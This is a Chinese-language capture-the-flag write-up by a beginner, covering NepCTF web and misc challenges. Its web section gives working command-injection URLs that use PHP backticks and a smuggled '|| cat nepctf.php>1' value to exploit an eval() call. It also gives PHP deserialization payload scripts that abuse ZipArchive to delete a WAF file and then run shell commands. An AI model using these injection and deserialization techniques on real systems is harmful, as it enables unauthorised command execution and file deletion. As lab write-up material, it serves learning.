前言

对于本萌新来说,这次的nep比赛是非常好的一次历练机会(虽然web一道都没有写出来QAQ,但是之后复现后学到了很多新的姿势,相对来说还是有点提升的,嘿嘿。

Web

little_trick

打开题目后发现一串代码

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

算是第一次遇到trick题吧,找了找度娘知道可以利用php的反引号执行系统命令 的特性

第一种解法

tips:这个解法需要开两次靶机,第一次查看文件目录,第二次cat

1
url/?nep=`ls>1`&len=7

可以得到

然后再开一次靶机

1
2
3
url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7
在这里*>1相当于cat index.php nepctf.php> 1

最后得到flag

NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}

第二种解法

1
2
url/?nep=`$len`;&len=7 || ls>1
url/?nep=`$len`;&len=7 || cat nepctf.php>1

由于intval()函数的特性,会在遇到第一个非数字字符时停止截取,而nep参数中运用反引号``调用len参数

由于len=7 || cat nepctf.php>1在linux中运行可知7不是一个命令,所以会执行||(或)之后的另一个命令

梦里花开牡丹亭

进入题目后看见一串特长的代码,先来简单审计一下

首先是Game类,里面有wakeupdestruct方法,wakeup里还有一个21232f297a57a5a743894a0e4a801fc3在线解码后是admin

简单分析了一下,咱可以知道应该是要调用Open类里的shell($content);来进行任意命令的执行,但是由于waf.txt的存在,咱只能调用file_get_contents()

先看看shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;

public function __construct()
{
$this->username = 'admin';
$this->password = 'admin';
$this->filename = 'shell';
$this->content = 8;
$this->register = 'admin';
$this->file = new Open();
}
}
class Open{

}
class login{

}
$a = new Game();
echo base64_encode(serialize($a));

发现挺多命令也被ban了

但这先放一边,先看看怎么删除掉waf.txt文件,不然连命令都输不进去_(:з」∠)_

之前的代码审计咱可以知道,login类中的checking方法里有个$this->file->open($this->filename,$this->content);这行代码

找找带有open()方法,而且还能删除文件的php原生类

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$classes = get_declared_classes();
foreach ($classes as $class){
$methods = get_class_methods($class);
foreach ($methods as $method){
if (in_array($method, array(
'open'
))){
echo $class."::".$method."<br>";
}
}
}

简单测试一下,发现ZipArchive()刚好可以把waf.txt删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;

public function __construct()
{
$this->username = 'admin';
$this->password = 'admin';
$this->filename = 'waf.txt';
$this->content = 8;
$this->register = 'admin';
$this->file = new ZipArchive();
}
}
class Open{

}
class login{

}
$a = new Game();
echo base64_encode(serialize($a));

然后就可以随意命令执行辣

tips:很多查看命令被ban了,但是还可以使用php /flag绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;

public function __construct()
{
$this->username = 'admin';
$this->password = 'admin';
$this->filename = 'shell';
$this->content = 'ls /';
$this->register = 'admin';
$this->file = new Open();
}
}
class Open{

}
class login{

}
$a = new Game();
echo base64_encode(serialize($a));

Misc

签到

打开附件看到一串16进制字符串,放到cyberchef里转一转

把剩下的复制到sublime text

image-20210323171836395

看起来有点扁,放到画图软件里拉宽一下

image-20210323171933445

可以清晰的看到flag

Nep{Y0u_ar3_50_cl3ver!}

我是间谍2nd

下载的附件直接打开显示出了一句话

**connecting to 223.223.223.223:6001 **

那咱就修改一下ip为223.223.223.223

然后用netcat开监听,并运行文件

nc -lvvp 6001

发现有回响

连接可得到flag

Nep{XVlBzgbaiCMRAjWwhTHctcuAxhxKQFDaFpLSjFbcXoEF}

出题人日记

打开附件后解压压缩包内容,发现是个.xlsx文件,拿010打开后查看文件头可以知道其实是一个.zip压缩文件

更改文件扩展名后解压缩

tips:这里打开压缩包的时候是有一个hint的,但是不能拿默认的解压缩软件打开,不然看不到备注

发现这个hint还被编码过了,拿去cyberchef解码一下

然后去google直接搜索Steganography.js

https://www.peter-eigenschink.at/projects/steganographyjs/showcase/

然后直接在王章内解密就可以得到flag了